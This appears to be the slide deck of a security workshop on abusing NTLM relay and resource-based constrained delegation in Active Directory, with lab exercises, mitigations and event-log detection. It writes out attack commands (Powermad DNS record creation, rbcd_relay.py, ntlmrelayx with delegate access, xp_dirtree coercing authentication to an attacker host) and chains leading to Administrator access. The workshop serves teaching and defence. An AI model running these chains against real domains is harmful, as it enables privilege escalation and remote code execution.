- A session key can be exchanged during the handshake
- The exchange is encrypted using the client's NTLM hash as key
- If signing is negotiated, the attacker can authenticate successfully via NTLM relay
  - But the session will not be usable without being able to sign the subsequent messages

NTLM Relay 201

- When relaying NetNTLM messages, why not just reset the Negotiate Sign flag?

```
> Host name: DC1
> Session Key: 4df63818fff3dc782895bb89240d52e4
v Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, N
    1... .... .... .... .... .... .... .... = Negotiate 56: Set
    .1.. .... .... .... .... .... .... .... = Negotiate Key Exchange: Set
    ..1. .... .... .... .... .... .... .... = Negotiate 128: Set
    ...0 .... .... .... .... .... .... .... = Negotiate 0x10000000: Not set
    .... 0... .... .... .... .... .... .... = Negotiate 0x08000000: Not set
    .... .0.. .... .... .... .... .... .... = Negotiate 0x04000000: Not set
    .... ..1. .... .... .... .... .... .... = Negotiate Version: Set
    .... ...0 .... .... .... .... .... .... = Negotiate 0x01000000: Not set
    .... .... 1... .... .... .... .... .... = Negotiate Target Info: Set
    .... .... .0.. .... .... .... .... .... = Request Non-NT Session: Not set
    .... .... ..0. .... .... .... .... .... = Negotiate 0x00200000: Not set
    .... .... ...0 .... .... .... .... .... = Negotiate Identify: Not set
    .... .... .... 1... .... .... .... .... = Negotiate Extended Security: Set
    .... .... .... .0.. .... .... .... .... = Target Type Share: Not set
    .... .... .... ..0. .... .... .... .... = Target Type Server: Not set
    .... .... .... ...0 .... .... .... .... = Target Type Domain: Not set
    .... .... .... .... 1... .... .... .... = Negotiate Always Sign: Set
    .... .... .... .... .0.. .... .... .... = Negotiate 0x00004000: Not set
    .... .... .... .... ..0. .... .... .... = Negotiate OEM Workstation Supplied: Not set
    .... .... .... .... ...0 .... .... .... = Negotiate OEM Domain Supplied: Not set
    .... .... .... .... .... 0... .... .... = Negotiate Anonymous: Not set
    .... .... .... .... .... .0.. .... .... = Negotiate NT Only: Not set
    .... .... .... .... .... ..1. .... .... = Negotiate NTLM key: Set
    .... .... .... .... .... ...0 .... .... = Negotiate 0x00000100: Not set
    .... .... .... .... .... .... 0... .... = Negotiate Lan Manager Key: Not set
    .... .... .... .... .... .... .0.. .... = Negotiate Datagram: Not set
    .... .... .... .... .... .... ..0. .... = Negotiate Seal: Not set
    .... .... .... .... .... .... ...1 .... = Negotiate Sign: Set
    .... .... .... .... .... .... .... 0... = Request 0x00000008: Not set
    .... .... .... .... .... .... .... .1.. = Request Target: Set
    .... .... .... .... .... .... .... ..0. = Negotiate OEM: Not set
    .... .... .... .... .... .... .... ...1 = Negotiate UNICODE: Set
```

NTLM Relay 201

- When relaying NetNTLM messages, why not just reset the Negotiate Sign flag?
- The MIC is a HMAC of all three NetNTLM messages signed with the session key
- It is a later addition – not supported by XP/2003 and prior
- Why not just remove it?

```
    .... .... .... .... .... .... ..0. .... = Negotiate Seal: Not set
    .... .... .... .... .... .... ...1 .... = Negotiate Sign: Set
    .... .... .... .... .... .... .... 0... = Request 0x00000008: Not set
    .... .... .... .... .... .... .... .1.. = Request Target: Set
    .... .... .... .... .... .... .... ..0. = Negotiate OEM: Not set
    .... .... .... .... .... .... .... ...1 = Negotiate UNICODE: Set
  > Version 10.0 (Build 14393); NTLM Current Revision 15
  MIC: ab5e1467ff089594f45f7baba916f1bc
```

NTLM Relay 201

- A flag indicating that the MIC is present is part of the salt in NetNTLMv2
- If this flag is modified, the response is no longer valid
- NetNTLMv1 responses are not salted
  - But NetNTLMv1 is vulnerable to divide and conquer anyway
- Many tried, many failed

```
NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_AUTH (0x00000003)
  > Lan Manager Response: 0000000000000000000000000000000000000000000000000
    LMv2 Client Challenge: 0000000000000000
  v NTLM Response: fab944b1e97292271dc573962264cb990101000000000000...
      Length: 358
      Maxlen: 358
      Offset: 166
    v NTLMv2 Response: fab944b1e97292271dc573962264cb990101000000000000...
        NTProofStr: fab944b1e97292271dc573962264cb99
        Response Version: 1
        Hi Response Version: 1
        Z: 000000000000
        Time: Jan  5, 2019 23:35:10.204626900 UTC
        NTLMv2 Client Challenge: fb183405a8eb6fc7
        Z: 00000000
      > Attribute: NetBIOS domain name: SHENANIGANS
      > Attribute: NetBIOS computer name: SERVICEA
      > Attribute: DNS domain name: shenanigans.labs
      > Attribute: DNS computer name: ServiceA.shenanigans.labs
      > Attribute: DNS tree name: shenanigans.labs
      > Attribute: Timestamp
      v Attribute: Flags
          NTLMV2 Response Item Type: Flags (0x0006)
          NTLMV2 Response Item Length: 4
          Flags: 0x00000002
      > Attribute: Restrictions
      > Attribute: Channel Bindings
      > Attribute: Target Name: cifs/172.31.15.17
      > Attribute: End of list
        Z: 00000000
        padding: 00000000
```

Drop the MIC - CVE-2019-1040

- Discovered by Marina Simakov and Yaron Zinar from Preempt
- If both the Version and the MIC are dropped, it would work!

```
> Version 10.0 (Build 14393): NTLM Current Revision 15
  MIC: ab5e1467ff089594f45f7baba916f1bc
```

- Can reset the Negotiate Sign flag and relay

Reflective relay is dead

- Reflective relay used to be a RCE vector
  - Patched around MS08-068 – not only!
- Cross-protocol reflective relay was still viable
  - Weaponized in “Hot Potato” – patched in MS16-075
  - “Rotten Potato” is still alive and kicking – but it works differently

Reflective relay is dead

- Reflective relay used to be a RCE vector
  - Patched around MS08-068 – not only!
- Cross-protocol reflective relay was still viable
  - Weaponized in “Hot Potato” – patched in MS16-075
  - “Rotten Potato” is still alive and kicking – but it works differently
- What can still be done by relaying a computer account logon?
- Seems to be useless – unless the computer account itself has access to useful resources
- Primitives to force machine accounts to authenticate over the network are not common (publicly)

Think outside the box

- Resources can configure RBCD for themselves
- Including computer accounts
- Can be done over LDAP
- Can relay to LDAP?
  - Only if the client does not negotiate signing
  - If so, it can be weaponized!
- Coercing a computer account connection is a valuable primitive again!

Drop the MIC abuse

- The idea to trigger an SMB connection through the "printer bug" and relay it to LDAP was initially published within "Wagging the Dog"
- Beautiful weaponization by Dirk-jan Mollema (@_dirkjan)
- The chain:
  - Printer bug
  - Drop the MIC + reset Negotiate Sign
  - Relay to LDAP
  - Configure RBCD on the target host
  - Perform full S4U attack
  - RCE

Viable Primitives

- Drop the MIC is patched, and no longer viable
- What is still viable?
  - NetNTLMv1
    - Printer bug + divide and conquer = RCE through silver tickets
      - Credit to Tim McGuffin (@NotMedic)
    - NetNTLMv1 is disabled by default
  - Target hosts that don't support MIC – XP/2003 and prior
  - **A client that doesn't negotiate signing – WebClient, including WebDAV**
    - The printer bug coerces SMB traffic – always negotiates signing
    - Need other primitives

WebClient Authentication

- By default, when the WebClient needs to authenticate, it uses the default credentials (from the Windows logon session) for targets in the Intranet Zone and the Trusted Zone
  - For targets in the Internet Zone, the client prompts the user for credentials
- The Dot Rule: "If the URI doesn't contain any periods then it is mapped to the Local Intranet Zone"
- How can you control such a URI?
  - Compromise one
  - Make your own

ADIDNS

- Active Directory Integrated DNS
- Extensively explored by Kevin Robertson (@NetSPI)
- By default, any domain user can create new DNS records
- We can create records for our relay server

Let’s find some primitives

MSSQL stored procedures

- SQL Servers have several stored procedures that take UNC paths
- By default, authenticated users can make use of XP_DIRTREE, which allows getting directory listings
- The WebDAV client is not installed on all servers by default
  - Requires the “Desktop Experience” or “WebDAV Redirector” feature
  - Installed on workstations by default

MSSQL RCE/LPE

- Conditions:
  - A user account that can authenticate and invoke XP_DIRTREE (or similar)
  - The MSSQL service is running as Network Service, Local System, or Virtual Account (default)
  - The WebDAV client is installed and running

MSSQL RCE/LPE

- Compromise an account with an SPN or create one
- Add an ADIDNS record, if required
- Login to the MSSQL service on the target host
- Invoke XP_DIRTREE to trigger a WebDAV connection to the relay server
- Perform NTLM relay to LDAP on the DC
- Configure RBCD to the target host
- Perform a full S4U attack

MSSQL RCE/LPE

The toolset

- Adding a new ADIDNS Record:
  - Using Powermad:
    ```
    Invoke-DNSUpdate -DNSType A -DNSName attacker_hostname -DNSData attacker_ip -Username
    attacker_account -Realm domain_name
    ```
- Delete an existing record:
  - Using Powermad:
    ```
    Invoke-DNSUpdate -DNSType A -DNSName attacker_hostname -Username attacker_account -Realm
    domain_name
    ```
- Matt Bush's Lightweight WebDAV relay tool:
  (https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c)
  ```
  rbcd_relay.py ip_or_hostname_of_DC domain_name name_of_account_to_relay attacker_account
  ```
- ntlmrelayx:
  ```
  ntlmrelayx.py -t ldaps://ip_or_hostname_of_DC --delegate-access
  ```
- Impacket MSSQL client:
  ```
  mssqlclient.py domain_name/username@hostname_or_IP -windows-auth
  xp_dirtree "\\attacker_hostname@80\whatever"
  ```

Lab: MSSQL RCE/LPE

- **Objective:** Gain RCE on Service B via SQL Server
- **Tasks:**
  - Reset the RBCD configuration on Service B
  - Use Powermad's Invoke-DNSUpdate.ps1 to add an ADIDNS record for your Ubuntu box
  - Run the rbcd_relay.py tool to configure RBCD from the computer account you created to Service B
  - Connect to the SQL Server on Service B and invoke xp_dirtree to coerce a connection to WebDAV on port 80 on your Ubuntu box
  - Check the RBCD configuration on Service B
  - Execute a full S4U attack on Service B to impersonate Administrator and gain access to C$ on Service B from Service A

Windows 10/2016/2019 LPE

- When users change their account profile picture, ultimately SYSTEM opens the file to read its attributes
- Can load files from a UNC path, including WebDAV
- That's all it takes!

- Affects Windows 10/2016/2019
  - Requires the WebDAV Redirector
  - Installed on all Windows 10 hosts by default

Windows 10/2016/2019 LPE

Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

Time o...	Process Name	PID	Operation
1:54:54....	SystemSettings....	4628	CreateFile
1:54:54....	SystemSettings....	4628	QueryStanda
1:54:54....	Explorer.EXE	2824	CreateFile
1:54:54....	SystemSettings....	4628	CreateFileMa
1:54:54....	SystemSettings....	4628	QueryStanda
1:54:54....	SystemSettings....	4628	CreateFileMa
1:54:54....	SystemSettings....	4628	CloseFile
1:54:54....	Explorer.EXE	2824	CreateFile
1:54:54....	Explorer.EXE	2824	CreateFile
1:54:54....	Explorer.EXE	2824	WriteFile
1:54:54....	Explorer.EXE	2824	CloseFile
1:54:54....	Explorer.EXE	2824	CreateFile
1:54:54....	Explorer.EXE	2824	QueryNetwor
1:54:54....	Explorer.EXE	2824	FileSystemC
1:54:54....	Explorer.EXE	2824	QueryObject
1:54:54....	Explorer.EXE	2824	QueryNameI
1:54:54....	Explorer.EXE	2824	QueryNameI
1:54:54....	Explorer.EXE	2824	QueryNormal
1:54:54....	Explorer.EXE	2824	CloseFile
1:54:54....	Explorer.EXE	2824	QueryDirecto
1:54:54....	Explorer.EXE	2824	CreateFile
1:54:54....	Explorer.EXE	2824	QueryNetwor
1:54:54....	Explorer.EXE	2824	FileSystemC
1:54:54....	Explorer.EXE	2824	QueryObject
1:54:54....	Explorer.EXE	2824	QueryNameI
1:54:54....	Explorer.EXE	2824	QueryNameI
1:54:54....	Explorer.EXE	2824	QueryNormal
1:54:54....	Explorer.EXE	2824	CloseFile
1:54:54....	DllHost.exe	5008	CreateFile
1:54:54....	DllHost.exe	5008	QueryNetwor
1:54:54....	DllHost.exe	5008	CloseFile
1:54:54....	DllHost.exe	5008	CreateFile
1:54:54....	DllHost.exe	5008	QueryNetwor
1:54:54....	DllHost.exe	5008	CloseFile

Showing 52 of 204,996 events (0.025%)

Event Properties

Event | Process | Stack

Date:	1/3/2019 1:54:54.4600647 AM
Thread:	5024
Class:	File System
Operation:	CreateFile
Result:	SUCCESS
Path:	C:\Users\elad\Desktop\photo.jpg
Duration:	0.0000140

Desired Access:	Read Attributes
Disposition:	Open
Options:	Open Reparse Point
Attributes:	n/a
ShareMode:	Read, Write, Delete
AllocationSize:	n/a
OpenResult:	Opened

Next Highlighted | Copy All | Close

Event Properties

Event | Process | Stack

Image

COM Surrogate

Microsoft Corporation

Name:	DllHost.exe
Version:	10.0.14393.0 (rs1_release.160715-1616)
Path:	C:\Windows\system32\DllHost.exe
Command Line:	C:\Windows\system32\DllHost.exe /Processid:{133EAC4F-5891-4D04-BADA-D848703

PID:	5008	Architecture:	64-bit
Parent PID:	820	Virtualized:	False
Session ID:	0	Integrity:	System
User:	NT AUTHORITY\SYSTEM		
Auth ID:	00000000:000003e7		
Started:	1/3/2019 1:54:54 AM	Ended:	1/3/2019 1:55:29 AM

Modules:

Module	Address	Size	Path
dllhost.exe	0x7ff7ccad0000	0x9000	C:\Windows\Syste
TaskSchdPS.dll	0x7ff9f6e40000	0x12000	C:\Windows\Syste
actxprxy.dll	0x7ffa04790000	0x365000	C:\Windows\Syste

Next Highlighted | Copy All | Close

Windows 10/2016/2019 LPE

The toolset

- Matt Bush's Lightweight WebDAV relay tool (https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c):
  - `rbcd_relay.py ip_or_hostname_of_DC domain_name name_of_account_to_relay attacker_account`

- Use the filename dummy.JPG
- Example path: \\relayserver@80\folder\dummy.JPG

Lab: Windows 10/2016/2019 LPE

- **Objective:** Escalate your privileges on Service B
- **Tasks:**
  - Reset the RBCD configuration on Service B
  - Run the rbcd_relay.py tool to configure RBCD from the computer account you created to Service B
  - RDP into Service B with your low-privileged user
  - Change your user's account profile picture to a WebDAV path on your Ubuntu box
  - Check the RBCD configuration on Service B
  - Execute a full S4U attack on Service B to impersonate Administrator and gain access to C$ on Service B from Service A

WPAD attack chain

- An amazing attack chain by Dirk-jan Mollema (@_dirkjan)
- By default, IPv6 is enabled on all Windows hosts
  - If an IPv6 address is not assigned, it continuously broadcasts for one
  - mitm6
- WPAD poisoning allows modifying proxy settings
  - Runs as Local Service – no authentication
  - Proxy authentication is possible, and it is WebClient!
- Relay machine account to LDAP
- Configure RBCD
- Perform a full S4U attack

Found more primitives?
Tell us!

Bill is smart

- Bill owned his mistake and fixed it
- S4U2Proxy will no longer produce a FORWARDABLE ticket from a NON-FORWARDABLE ticket
- Bill imposed more strict restrictions on who is allowed to set up RBCD
- Visitors were advised not to hand over their day passes to operators and Bill abolished unconstrained delegation altogether
- The LUNA protocol was upgraded to enforce signing

Microsoft took a different approach

Mitigating Controls

- Mark privileged accounts as “sensitive for delegation” or add them to the “Protected Users” Active Directory group
  - What about computer accounts?
- Avoid using unconstrained delegation
- Enforce LDAP signing with channel binding
- Deny “Self” from configuring RBCD
- Deny everyone from configuring RBCD!

Detection – S4U2Self

- Service ticket request event
- Account is the same as service

Event Properties - Event 4769, Microsoft Windows security auditing.

General | Details

A Kerberos service ticket was requested.

Account Information:
Account Name: servicea$@SHENANIGANS.LABS
Account Domain: SHENANIGANS.LABS
Logon GUID: {0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}

Service Information:
Service Name: SERVICEA$
Service ID: SHENANIGANS\SERVICEA$

Network Information:
Client Address: ::ffff:172.31.15.17
Client Port: 49752

Additional Information:
Ticket Options: 0x40800018
Ticket Encryption Type: 0x12
Failure Code: 0x0
Transited Services: -

This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.

Log Name:	Security		
Source:	Microsoft Windows security	Logged:	1/6/2019 5:37:03 AM
Event ID:	4769	Task Category:	Kerberos Service Ticket Operation:
Level:	Information	Keywords:	Audit Success
User:	N/A	Computer:	DC1.shenanigans.labs
OpCode:	Info		
More Information:	Event Log Online Help		

Copy | Close

Detection – S4U2Proxy

- Service ticket request event
- Transited Services is not blank

Event Properties - Event 4769, Microsoft Windows security auditing.

General | Details

A Kerberos service ticket was requested.

Account Information:
Account Name: servicea$@SHENANIGANS.LABS
Account Domain: SHENANIGANS.LABS
Logon GUID: {0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}

Service Information:
Service Name: SERVICEB$
Service ID: SHENANIGANS\SERVICEB$

Network Information:
Client Address: ::ffff:172.31.15.17
Client Port: 49753

Additional Information:
Ticket Options: 0x40820010
Ticket Encryption Type: 0x12
Failure Code: 0x0
Transited Services:
servicea$@SHENANIGANS.LABS

This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.

Log Name:	Security		
Source:	Microsoft Windows security	Logged:	1/6/2019 5:37:03 AM
Event ID:	4769	Task Category:	Kerberos Service Ticket Operation:
Level:	Information	Keywords:	Audit Success
User:	N/A	Computer:	DC1.shenanigans.labs
OpCode:	Info		
More Information:	Event Log Online Help		

Copy | Close

Detection – RBCD

- Requires configuring a SACL

Event Properties - Event 5136, Microsoft Windows security auditing.

General | Details

A directory service object was modified.

Subject:
Security ID: SHENANIGANS\SERVICEB$
Account Name: SERVICEB$
Account Domain: SHENANIGANS
Logon ID: 0x11AA7F

Directory Service:
Name: shenanigans.labs
Type: Active Directory Domain Services

Object:
DN: CN=SERVICEB,CN=Computers,DC=shenanigans,DC=labs
GUID: CN=SERVICEB,CN=Computers,DC=shenanigans,DC=labs
Class: computer

Attribute:
LDAP Display Name: msDS-AllowedToActOnBehalfOfOtherIdentity
Syntax (OID): 2.5.5.15
Value: Malformed Security Descriptor

Operation:
Type: Value Added
Correlation ID: {cbfa950c-8733-4cfa-ad39-9b8923ebb348}
Application Correlation ID: -

Log Name:	Security		
Source:	Microsoft Windows security	Logged:	1/23/2019 9:44:56 PM
Event ID:	5136	Task Category:	Directory Service Changes
Level:	Information	Keywords:	Audit Success
User:	N/A	Computer:	DC1.shenanigans.labs
OpCode:	Info		
More Information:	Event Log Online Help		

Copy | Close

Detection – KRBTGT Persistence

- Service ticket request event
- Service name is krbtgt
- Transited Services is not blank

Event Properties - Event 4769, Microsoft Windows security auditing.

General | Details

A Kerberos service ticket was requested.

Account Information:
Account Name: servicea$@SHENANIGANS.LABS
Account Domain: SHENANIGANS.LABS
Logon GUID: {f0945369-e921-1f5b-78de-7dd055d76863}

Service Information:
Service Name: krbtgt
Service ID: SHENANIGANS\krbtgt

Network Information:
Client Address: ::ffff:172.31.15.17
Client Port: 49761

Additional Information:
Ticket Options: 0x40820010
Ticket Encryption Type: 0x12
Failure Code: 0x0
Transited Services:
servicea$@SHENANIGANS.LABS

This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.

Log Name:	Security		
Source:	Microsoft Windows security	Logged:	1/6/2019 5:59:37 AM
Event ID:	4769	Task Category:	Kerberos Service Ticket Operation:
Level:	Information	Keywords:	Audit Success
User:	N/A	Computer:	DC1.shenanigans.labs
OpCode:	Info		
More Information:	Event Log Online Help		

Copy | Close

Find the full details in our elaborate post:

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Acknowledgements

- Will Schroeder (@harmj0y)
- Lee Christensen (@tifkin_)
- Benjamin Delpy (@gentilkiwi)
- Ben Campbell (@Meatballs__)
- Dirk-jan Mollema (@_dirkjan)
- Kevin Robertson (@NetSPI)
- Danyal Drew (@danyaldrew)
- Alberto Solino (@agsolino)

Questions?

themissinglink®

Thank you

themissinglink®